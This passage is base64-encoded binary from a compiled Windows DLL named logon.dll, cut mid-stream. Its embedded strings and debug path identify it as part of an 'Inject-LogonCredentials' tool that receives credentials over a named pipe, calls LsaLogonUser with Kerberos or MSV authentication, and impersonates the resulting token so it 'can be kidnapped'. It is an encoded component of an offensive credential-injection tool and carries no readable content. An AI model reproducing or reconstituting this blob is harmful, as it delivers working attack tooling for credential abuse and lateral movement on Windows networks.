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3NpdGlvbgBzdHJpbmcgdG9vIGxvbmcAXABcAC4AXABwAGkAcABlAFwAcwBxAHMAdgBjAAAAAABFcnJvciBjYWxsaW5nIExzYUNvbm5lY3RVbnRydXN0ZWQuIEVycm9yIGNvZGU6IABoTFNBIChMU0EgaGFuZGxlKSBpcyBOVUxMLCB0aGlzIHNob3VsZG4ndCBldmVyIGhhcHBlbi4AAE1JQ1JPU09GVF9BVVRIRU5USUNBVElPTl9QQUNLQUdFX1YxXzAAAABLZXJiZXJvcwAAAAAAAAAAUmVjZWl2ZWQgYW4gaW52YWxpZCBhdXRoIHBhY2thZ2UgZnJvbSB0aGUgbmFtZWQgcGlwZQAAAABDYWxsIHRvIExzYUxvb2t1cEF1dGhlbnRpY2F0aW9uUGFja2FnZSBmYWlsZWQuIEVycm9yIGNvZGU6IAAAAAAAQ2FsbCB0byBPcGVuUHJvY2Vzc1Rva2VuIGZhaWxlZC4gRXJyb3Jjb2RlOiAAAAAAQ2FsbCB0byBHZXRUb2tlbkluZm9ybWF0aW9uIGZhaWxlZC4AAAAAAEVycm9yIGNhbGxpbmcgTHNhTG9nb25Vc2VyLiBFcnJvciBjb2RlOiAAAAAAAAAAAAAAAAAAAAAATG9nb24gc3VjY2VlZGVkLCBpbXBlcnNvbmF0aW5nIHRoZSB0b2tlbiBzbyBpdCBjYW4gYmUga2lkbmFwcGVkIGFuZCBzdGFydGluZyBhbiBpbmZpbml0ZSBsb29wIHdpdGggdGhlIHRocmVhZC4AACVsdQAlZAAAJWxkAAAAAAAiBZMZBAAAAERWAQACAAAAZFYBAAgAAAC0VgEAIAAAAAAAAAABAAAAAAAAAAAAAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8HABgAEAAAAAAAAAAAAAAAAAAAAAAAAAUlNEU8o6DX7lQ19HkfPUNP+syU8JAAAAQzpcR2l0aHViXFBvd2VyU2hlbGxFeHBlcmltZW50YWxcSW5qZWN0LUxvZ29uQ3JlZGVudGlhbHNcTG9nb25Vc2VyXExvZ29uVXNlclx4NjRcUmVsZWFzZVxsb2dvbi5wZGIAAAAAAACHAAAAhwAAAAAAAAAAAAAAKHABAAAAAAAAAAAA/////wAAAABAAAAAuEYBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAANBGAQAAAAAAAAAAAJBGAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAcAEACEcBAOBGAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAIEcBAAAAAAAAAAAAOEcBAJBGAQAAAAAAAAAAAAAAAAAAAAAAAHABAAEAAAAAAAAA/////wAAAABAAAAACEcBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAFBwAQCIRwEAYEcBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACgRwEAAAAAAAAAAAC4RwEAkEYBAAAAAAAAAAAAAAAAAAAAAABQcAEAAQAAAAAAAAD/////AAAAAEAAAACIRwEAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAeHABAAhIAQDgRwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAACBIAQAAAAAAAAAAAEBIAQC4RwEAkEYBAAAAAAAAAAAAAAAAAAAAAAAAAAAAeHABAAIAAAAAAAAA/////wAAAABAAAAACEgBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAKBwAQCQSAEAaEgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAACoSAEAAAAAAAAAAADISAEAuEcBAJBGAQAAAAAAAAAAAAAAAAAAAAAAAAAAAKBwAQACAAAAAAAAAP////8AAAAAQAAAAJBIAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAADQcAEAGEkBAPBIAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAMEkBAAAAAAAAAAAAQEkBAAAAAAAAAAAAAAAAANBwAQAAAAAAAAAAAP////8AAAAAQAAAABhJAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAocAEAuEYBAGhJAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAHMBALhJAQCQSQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAANBJAQAAAAAAAAAAAOhJAQCQRgEAAAAAAAAAAAAAAAAAAAAAAABzAQABAAAAAAAAAP////8AAAAAQAAAALhJAQAAAAAAA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2V0TW9kdWxlSGFuZGxlRXhXAAC8AkdldFByb2NBZGRyZXNzAADvA011bHRpQnl0ZVRvV2lkZUNoYXIAXwNIZWFwU2l6ZQAA5AJHZXRTdGRIYW5kbGUAAIMCR2V0TW9kdWxlRmlsZU5hbWVXAABaA0hlYXBGcmVlAABWA0hlYXBBbGxvYwAlBVNldExhc3RFcnJvcgAAwQJHZXRQcm9jZXNzSGVhcAAAXgJHZXRGaWxlVHlwZQBvA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAHwFEZWxldGVDcml0aWNhbFNlY3Rpb24A3gJHZXRTdGFydHVwSW5mb1cAggJHZXRNb2R1bGVGaWxlTmFtZUEAAD8EUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAKgJHZXRDdXJyZW50UHJvY2Vzc0lkAPsCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUARwJHZXRFbnZpcm9ubWVudFN0cmluZ3NXAAC9AUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAO0FV2lkZUNoYXJUb011bHRpQnl0ZQC7BFJ0bENhcHR1cmVDb250ZXh0AMkEUnRsVmlydHVhbFVud2luZAAAoAVVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAF8FU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAH4FVGVybWluYXRlUHJvY2VzcwAAkAVUbHNBbGxvYwAAkgVUbHNHZXRWYWx1ZQCTBVRsc1NldFZhbHVlAJEFVGxzRnJlZQCHAkdldE1vZHVsZUhhbmRsZVcAAEQBRW50ZXJDcml0aWNhbFNlY3Rpb24AAMADTGVhdmVDcml0aWNhbFNlY3Rpb24AAMUDTG9hZExpYnJhcnlFeFcAAJADSXNWYWxpZENvZGVQYWdlAMQBR2V0QUNQAACnAkdldE9FTUNQAADTAUdldENQSW5mbwBdA0hlYXBSZUFsbG9jABgET3V0cHV0RGVidWdTdHJpbmdXAADGA0xvYWRMaWJyYXJ5VwAAtANMQ01hcFN0cmluZ1cAAPwBR2V0Q29uc29sZUNQAAAOAkdldENvbnNvbGVNb2RlAAAYBVNldEZpbGVQb2ludGVyRXgAAOkCR2V0U3RyaW5nVHlwZVcAAD0FU2V0U3RkSGFuZGxlAAAABldyaXRlQ29uc29sZVcAswFGbHVzaEZpbGVCdWZmZXJzAACOAENsb3NlSGFuZGxlAAAAAAAAAAAAAAAAAAAAAAAAANdTiVIAAAAAEmMBAAEAAAABAAAAAQAAAAhjAQAMYwEAEGMBAKAWAAAcYwEAAABsb2dvbi5kbGwAVm9pZEZ1bmMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA